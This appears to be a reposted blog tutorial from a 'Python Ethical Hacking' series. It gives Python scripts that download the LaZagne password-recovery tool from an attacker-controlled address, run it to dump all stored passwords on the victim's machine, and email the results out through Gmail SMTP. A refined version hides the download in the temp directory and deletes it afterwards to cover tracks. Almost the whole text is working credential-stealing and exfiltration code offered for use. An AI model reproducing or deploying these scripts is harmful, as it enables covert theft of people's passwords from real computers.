标签:down url esc computer Once any code class mic
DOWNLOAD_FILE
Can be used in many situations:
#!/usr/bin/env python import requests def download(url): get_response = requests.get(url) file_name = url.split("/")[-1] with open(file_name, "wb") as out_file: out_file.write(get_response.content) download("https://cdn.spacetelescope.org/archives/images/screen/potw1739a.jpg")
DOWNLOAD_EXECUTE_AND_REPORT
Ex: remotely steal all stored passwords on a computer!
Using the LaZagne tool:https://github.com/AlessandroZ/LaZagne
lazagne.exe --help
Use the following command to find all the passwords in the current system.
lazagne.exe all
Steal saved passwords remotely
#!/usr/bin/env python import requests import smtplib import subprocess def download(url): get_response = requests.get(url) file_name = url.split("/")[-1] with open(file_name, "wb") as out_file: out_file.write(get_response.content) def send_mail(email, password, message): server = smtplib.SMTP("smtp.gmail.com", 587) server.starttls() server.login(email, password) server.sendmail(email, email, message) server.quit() download("http://10.0.0.43/evil-files/lazagne.exe") result = subprocess.check_output("lazagne.exe all", shell=True) print(result.decode()) send_mail("aaaa@gmail.com", "1111111", result)
Optimize the Python Script - Interacting with the file system. The evil file will be downloaded in the temp directory and removed after executed.
#!/usr/bin/env python import os import smtplib import subprocess import requests import tempfile def download(url): get_response = requests.get(url) file_name = url.split("/")[-1] with open(file_name, "wb") as out_file: out_file.write(get_response.content) def send_mail(email, password, message): server = smtplib.SMTP("smtp.gmail.com", 587) server.starttls() server.login(email, password) server.sendmail(email, email, message) server.quit() temp_directory = tempfile.gettempdir() os.chdir(temp_directory) download("http://10.0.0.43/evil-files/lazagne.exe") result = subprocess.check_output("lazagne.exe all", shell=True) print(result.decode()) send_mail("aaaa@gmail.com", "1111111", result) os.remove("lazagne.exe")
Python Ethical Hacking - Malware Analysis(4)
标签:down url esc computer Once any code class mic
原文地址:https://www.cnblogs.com/keepmoving1113/p/11616187.html